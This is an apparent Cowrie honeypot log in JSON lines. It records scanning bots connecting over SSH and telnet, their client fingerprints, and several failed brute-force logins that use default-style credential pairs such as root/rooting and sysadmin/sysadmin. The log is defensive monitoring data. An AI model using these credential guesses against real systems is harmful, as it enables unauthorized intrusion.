{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:16.963416Z","src_ip":"176.65.139.103","session":"b2d82f2583da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54884,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb0dc8d2bb9","protocol":"telnet","message":"New connection: 161.97.124.15:54884 (159.203.135.109:23) [session: feb0dc8d2bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:16.970368Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"953091cbd9ed","protocol":"telnet","message":"New connection: 161.97.124.15:56260 (159.203.135.109:23) [session: 953091cbd9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:17.553803Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59076,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7051ee6c1b3","protocol":"telnet","message":"New connection: 161.97.124.15:59076 (159.203.135.109:23) [session: a7051ee6c1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:18.753829Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59882,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b4338604f0","protocol":"telnet","message":"New connection: 161.97.124.15:59882 (159.203.135.109:23) [session: f4b4338604f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:19.145425Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":34786,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d89d90941a2","protocol":"telnet","message":"New connection: 161.97.124.15:34786 (159.203.135.109:23) [session: 5d89d90941a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:20.505068Z"}
{"eventid":"cowrie.session.closed","duration":30.37528681755066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:21.155336Z","src_ip":"161.97.124.15","session":"cd5a0ebefd91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50208,"dst_ip":"159.203.135.109","dst_port":22,"session":"3325502bfe63","protocol":"ssh","message":"New connection: 159.203.92.129:50208 (159.203.135.109:22) [session: 3325502bfe63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:21.710391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:21.730532Z","src_ip":"159.203.92.129","session":"3325502bfe63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:21.734641Z","src_ip":"159.203.92.129","session":"3325502bfe63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1111111","message":"login attempt [ansible/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:21.837378Z","src_ip":"159.203.92.129","session":"3325502bfe63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41850,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b6ab179617","protocol":"ssh","message":"New connection: 176.65.139.103:41850 (10.17.0.5:22) [session: 34b6ab179617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.365690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.377290Z","src_ip":"176.65.139.103","session":"34b6ab179617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.449197Z","src_ip":"176.65.139.103","session":"34b6ab179617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38910,"dst_ip":"159.203.135.109","dst_port":23,"session":"317ec1dc6e36","protocol":"telnet","message":"New connection: 161.97.124.15:38910 (159.203.135.109:23) [session: 317ec1dc6e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.607382Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.790452Z","src_ip":"176.65.139.103","session":"34b6ab179617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:22.843333Z","src_ip":"159.203.92.129","session":"3325502bfe63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.23070192337036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:23.054921Z","src_ip":"161.97.124.15","session":"2046e9d62374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:23.891933Z","src_ip":"176.65.139.103","session":"34b6ab179617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43400,"dst_ip":"159.203.135.109","dst_port":23,"session":"88cbe65eb57e","protocol":"telnet","message":"New connection: 161.97.124.15:43400 (159.203.135.109:23) [session: 88cbe65eb57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:24.743616Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46624,"dst_ip":"159.203.135.109","dst_port":23,"session":"d143e4e2f905","protocol":"telnet","message":"New connection: 161.97.124.15:46624 (159.203.135.109:23) [session: d143e4e2f905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:26.373789Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47774,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d0feb2a318","protocol":"telnet","message":"New connection: 161.97.124.15:47774 (159.203.135.109:23) [session: 79d0feb2a318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:26.883257Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42986,"dst_ip":"10.17.0.5","dst_port":22,"session":"717cc08a00a6","protocol":"ssh","message":"New connection: 80.94.92.182:42986 (10.17.0.5:22) [session: 717cc08a00a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:27.237942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:27.311179Z","src_ip":"80.94.92.182","session":"717cc08a00a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:27.423303Z","src_ip":"80.94.92.182","session":"717cc08a00a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99514079093933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:28.055933Z","src_ip":"161.97.124.15","session":"6f70de2019fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":50198,"dst_ip":"159.203.135.109","dst_port":23,"session":"d174d7e2bf56","protocol":"telnet","message":"New connection: 161.97.124.15:50198 (159.203.135.109:23) [session: d174d7e2bf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:28.176883Z"}
{"eventid":"cowrie.login.failed","username":"psadmin","password":"psadmin","message":"login attempt [psadmin/psadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:28.436633Z","src_ip":"80.94.92.182","session":"717cc08a00a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33612,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73ab7e863b2","protocol":"ssh","message":"New connection: 176.65.139.103:33612 (10.17.0.5:22) [session: e73ab7e863b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:28.965839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:28.969653Z","src_ip":"176.65.139.103","session":"e73ab7e863b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.060911Z","src_ip":"176.65.139.103","session":"e73ab7e863b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.088334560394287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.217814Z","src_ip":"161.97.124.15","session":"30dc1127e2d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.323228Z","src_ip":"176.65.139.103","session":"e73ab7e863b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"72544e07557b","protocol":"telnet","message":"New connection: 161.97.124.15:52404 (159.203.135.109:23) [session: 72544e07557b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.359678Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52480,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13a8853d9f5","protocol":"telnet","message":"New connection: 161.97.124.15:52480 (159.203.135.109:23) [session: a13a8853d9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.408575Z"}
{"eventid":"cowrie.session.closed","duration":31.117371559143066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.534369Z","src_ip":"161.97.124.15","session":"f2e7db5c29f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:29.609158Z","src_ip":"80.94.92.182","session":"717cc08a00a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54068,"dst_ip":"159.203.135.109","dst_port":23,"session":"81eacb81d463","protocol":"telnet","message":"New connection: 161.97.124.15:54068 (159.203.135.109:23) [session: 81eacb81d463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:30.170627Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54400,"dst_ip":"159.203.135.109","dst_port":23,"session":"db9a59f54281","protocol":"telnet","message":"New connection: 161.97.124.15:54400 (159.203.135.109:23) [session: db9a59f54281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:30.293349Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:30.426390Z","src_ip":"176.65.139.103","session":"e73ab7e863b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":56214,"dst_ip":"159.203.135.109","dst_port":23,"session":"adda2e470b99","protocol":"telnet","message":"New connection: 161.97.124.15:56214 (159.203.135.109:23) [session: adda2e470b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:30.967886Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47620,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebfe4ef7380","protocol":"telnet","message":"New connection: 213.136.75.179:47620 (10.17.0.5:23) [session: cebfe4ef7380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:31.109844Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57470,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e51848687b5","protocol":"telnet","message":"New connection: 161.97.124.15:57470 (159.203.135.109:23) [session: 5e51848687b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:31.420637Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"81026d4a72cc","protocol":"telnet","message":"New connection: 161.97.124.15:57712 (159.203.135.109:23) [session: 81026d4a72cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:31.488210Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":55713,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f42ca887099","protocol":"ssh","message":"New connection: 52.231.220.210:55713 (10.17.0.5:22) [session: 3f42ca887099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:32.309723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:32.313200Z","src_ip":"52.231.220.210","session":"3f42ca887099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:32.507930Z","src_ip":"52.231.220.210","session":"3f42ca887099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33064,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ef45c4e4f1","protocol":"telnet","message":"New connection: 161.97.124.15:33064 (159.203.135.109:23) [session: 05ef45c4e4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:33.307448Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooting","message":"login attempt [root/rooting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:33.319597Z","src_ip":"52.231.220.210","session":"3f42ca887099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":35622,"dst_ip":"159.203.135.109","dst_port":23,"session":"026a58b8d4b2","protocol":"telnet","message":"New connection: 161.97.124.15:35622 (159.203.135.109:23) [session: 026a58b8d4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:34.401694Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":35996,"dst_ip":"159.203.135.109","dst_port":23,"session":"744ae2ef9541","protocol":"telnet","message":"New connection: 161.97.124.15:35996 (159.203.135.109:23) [session: 744ae2ef9541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:34.516823Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:34.523155Z","src_ip":"52.231.220.210","session":"3f42ca887099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5228cce6ce","protocol":"telnet","message":"New connection: 161.97.124.15:36048 (159.203.135.109:23) [session: ac5228cce6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:34.540016Z"}
{"eventid":"cowrie.session.closed","duration":30.513341188430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.056508Z","src_ip":"161.97.124.15","session":"1ac02d3d01de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37774,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa59fb97ceda","protocol":"telnet","message":"New connection: 161.97.124.15:37774 (159.203.135.109:23) [session: fa59fb97ceda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.406952Z"}
